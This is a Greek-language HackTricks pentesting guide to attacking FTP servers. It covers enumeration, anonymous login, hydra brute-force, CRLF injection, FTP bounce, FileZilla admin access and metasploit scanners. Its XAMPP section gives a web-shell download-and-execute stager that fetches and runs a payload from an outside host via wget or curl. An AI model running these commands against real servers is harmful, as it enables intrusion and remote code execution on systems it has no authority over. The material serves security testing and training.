21 - Pentesting FTP

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το File Transfer Protocol (FTP) χρησιμεύει ως πρότυπο πρωτόκολλο για μεταφορά αρχείων σε ένα υπολογιστικό δίκτυο μεταξύ διακομιστή και πελάτη.
Είναι ένα πρωτόκολλο plain-text που χρησιμοποιεί ως new line character 0x0d 0x0a, οπότε μερικές φορές χρειάζεται να συνδεθείτε χρησιμοποιώντας telnet ή nc -C.

Προεπιλεγμένη Θύρα: 21

PORT   STATE SERVICE
21/tcp open  ftp

Συνδέσεις Active & Passive

Στο Active FTP ο FTP client πρώτα initiates τον control connection από την port N προς την command port του FTP Server – port 21. Ο client στη συνέχεια listens στην port N+1 και στέλνει την port N+1 στον FTP Server. Ο FTP Server τότε initiates το data connection, από its port M to the port N+1 του FTP Client.

Ωστόσο, αν ο FTP Client έχει ρύθμιση firewall που ελέγχει τις εισερχόμενες data connections από το εξωτερικό, τότε το Active FTP μπορεί να αποτελέσει πρόβλημα. Μια εφικτή λύση για αυτό είναι το Passive FTP.

Στο Passive FTP, ο client initiates τον control connection από την port N προς την port 21 του FTP Server. Μετά από αυτό, ο client εκδίδει την passv comand. Ο server τότε στέλνει στον client έναν από τους port του, αριθμό M. Και ο client initiates το data connection από its port P to port M του FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Αποσφαλμάτωση Συνδέσεων

Οι εντολές FTP debug και trace μπορούν να χρησιμοποιηθούν για να δουν πώς γίνεται η επικοινωνία.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Συνδεθείτε στο FTP χρησιμοποιώντας starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

Με nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Μπορείτε να χρησιμοποιήσετε τις εντολές HELP και FEAT για να αποκτήσετε πληροφορίες σχετικά με τον FTP server:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Ανώνυμη σύνδεση

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Εδώ θα βρείτε μια λίστα με default ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Αυτοματοποιημένο

Οι έλεγχοι Anon login και bounce FTP εκτελούνται από προεπιλογή από το nmap με την επιλογή -sC ή:

nmap --script ftp-* -p 21 <ip>

Σύνδεση μέσω προγράμματος περιήγησης

Μπορείτε να συνδεθείτε σε έναν FTP server μέσω προγράμματος περιήγησης (π.χ. Firefox) χρησιμοποιώντας μια διεύθυνση URL όπως:

ftp://anonymous:anonymous@10.10.10.98

Σημειώστε ότι αν μια web application στέλνει δεδομένα που ελέγχονται από έναν χρήστη directly to a FTP server, μπορείτε να στείλετε double URL encode %0d%0a (σε double URL encode αυτό είναι %250d%250a) bytes και να κάνετε τον FTP server perform arbitrary actions. Μια από αυτές τις πιθανές arbitrary actions είναι να κατεβάσει περιεχόμενο από έναν server που ελέγχεται από τον χρήστη, να εκτελέσει port scanning ή να προσπαθήσει να επικοινωνήσει με άλλες υπηρεσίες βασισμένες σε plain-text (όπως http).

Κατέβασμα όλων των αρχείων από FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Αν το user/password σας περιέχει ειδικούς χαρακτήρες, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • Το XAMPP/ProFTPD συχνά αντιστοιχίζει το FTP root στο /opt/lampp/htdocs, επομένως αδύναμοι κωδικοί σε service accounts όπως daemon ή nobody σας επιτρέπουν να upload a PHP web shell directly into the served webroot.
  • Μετά το upload, ενεργοποιήστε έναν architecture-aware download/exec stager μέσω του shell, για παράδειγμα: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), που κατεβάζει ένα checksum-validated payload, το αποθηκεύει (π.χ. init_start), κάνει chmod +x και το τρέχει.
  • Αν ο τρέχων φάκελος δεν είναι writable/executable, ο stager επιστρέφει σε /tmp, οπότε δοκιμάστε web paths και filesystem permissions μετά το upload.

Some FTP commands

  • USER username
  • PASS password
  • HELP Ο server δείχνει ποιες εντολές υποστηρίζονται
  • PORT 127,0,0,1,0,80 Αυτό θα υποδείξει στον FTP server να δημιουργήσει σύνδεση με το IP 127.0.0.1 στην θύρα 80 (πρέπει να βάλετε το 5ο στοιχείο ως “0” και το 6ο ως την πόρτα σε δεκαδική μορφή ή να χρησιμοποιήσετε το 5ο και 6ο για να εκφράσετε την πόρτα σε hex).
  • EPRT |2|127.0.0.1|80| Αυτό θα υποδείξει στον FTP server να δημιουργήσει μία TCP σύνδεση (υποδεικνυόμενη με “2”) με το IP 127.0.0.1 στην πόρτα 80. Αυτή η εντολή supports IPv6.
  • LIST Στέλνει τη λίστα των αρχείων στον τρέχοντα φάκελο
  • LIST -R Καταλόγος αναδρομικά (αν το επιτρέπει ο server)
  • APPE /path/something.txt Υποδεικνύει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια passive σύνδεση ή από μια PORT/EPRT σύνδεση σε ένα αρχείο. Αν το αρχείο υπάρχει, θα προσαρτήσει τα δεδομένα.
  • STOR /path/something.txt Όπως το APPE αλλά θα αντικαταστήσει τα αρχεία
  • STOU /path/something.txt Όπως το APPE, αλλά αν υπάρχει δεν θα κάνει τίποτα.
  • RETR /path/to/file Πρέπει να δημιουργηθεί passive ή port σύνδεση. Στη συνέχεια, ο FTP server θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης
  • REST 6 Υποδεικνύει στον server ότι την επόμενη φορά που θα στείλει κάτι με RETR θα πρέπει να ξεκινήσει από το 6ο byte.
  • TYPE i Ορίζει τη μεταφορά σε binary
  • PASV Ανοίγει μια passive σύνδεση και υποδεικνύει στον χρήστη που μπορεί να συνδεθεί
  • PUT /tmp/file.txt Ανέβασε το υποδεικνυόμενο αρχείο στο FTP

FTPBounce attack

Κάποιοι FTP servers επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξετε στον server ότι θέλετε να συνδεθεί σε άλλον FTP server σε κάποια θύρα. Με αυτόν τον τρόπο, μπορείτε να σκανάρετε ποιες θύρες ενός host είναι ανοιχτές μέσω ενός FTP server.

Μάθετε εδώ πώς να καταχραστείτε έναν FTP server για να σκανάρετε θύρες.

Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν FTP server να αλληλεπιδράσει με άλλα πρωτόκολλα. Μπορείτε να upload a file containing an HTTP request και να κάνετε τον ευάλωτο FTP server να send it to an arbitrary HTTP server (ίσως για να προσθέσει έναν νέο admin user?) ή ακόμα να ανεβάσετε ένα FTP request και να κάνετε τον ευάλωτο FTP server να κατεβάσει ένα αρχείο από διαφορετικό FTP server.
Η θεωρία είναι απλή:

  1. Upload the request (inside a text file) to the vulnerable server. Θυμηθείτε ότι αν θέλετε να επικοινωνήσετε με άλλον HTTP ή FTP server πρέπει να αλλάξετε τις γραμμές με 0x0d 0x0a
  2. Use REST X to avoid sending the characters you don’t want to send (ίσως για να ανεβάσετε το request μέσα στο αρχείο χρειάστηκε να βάλετε κάποιο image header στην αρχή)
  3. Use PORTto connect to the arbitrary server and service
  4. Use RETRto send the saved request to the server.

Είναι πολύ πιθανό ότι αυτό will throw an error like Socket not writable επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με RETR. Προτάσεις για να το αποφύγετε:

  • Αν στέλνετε ένα HTTP request, βάλτε το ίδιο request το ένα μετά το άλλο μέχρι τουλάχιστον ~0.5MB. Όπως αυτό:

  • Δοκιμάστε να γεμίσετε το request με “junk” data σχετικό με το πρωτόκολλο (αν μιλάτε με FTP ίσως απλά junk εντολές ή επανάληψη της εντολής RETR για να πάρετε το αρχείο)
  • Απλώς γεμίστε το request με πολλά null characters ή άλλα (διαχωρισμένα σε γραμμές ή όχι)

Όπως και να ’χει, εδώ έχετε ένα παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν FTP server να κατεβάσει ένα αρχείο από διαφορετικό FTP server.

Filezilla Server Vulnerability

FileZilla συνήθως binds σε μια local Administrative service για το FileZilla-Server (port 14147). Αν μπορείτε να δημιουργήσετε ένα tunnel από τη μηχανή σας για να αποκτήσετε πρόσβαση σε αυτή την πόρτα, μπορείτε να connect σε αυτή με blank password και να create έναν new user για την υπηρεσία FTP.

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

Η προεπιλεγμένη διαμόρφωση του vsFTPd βρίσκεται στο /etc/vsftpd.conf. Εδώ μπορεί να βρείτε μερικές επικίνδυνες ρυθμίσεις:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Κατάλογος για anonymous.
  • chown_uploads=YES - Αλλαγή ιδιοκτησίας των αρχείων που ανεβάζονται ως anonymous.
  • chown_username=username - Ο χρήστης που λαμβάνει την ιδιοκτησία των αρχείων που ανεβάζονται ως anonymous.
  • local_enable=YES - Επιτρέπει σε τοπικούς χρήστες να συνδεθούν.
  • no_anon_password=YES - Μην ζητάτε κωδικό πρόσβασης από anonymous.
  • write_enable=YES - Επιτρέπει τις εντολές: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, και SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks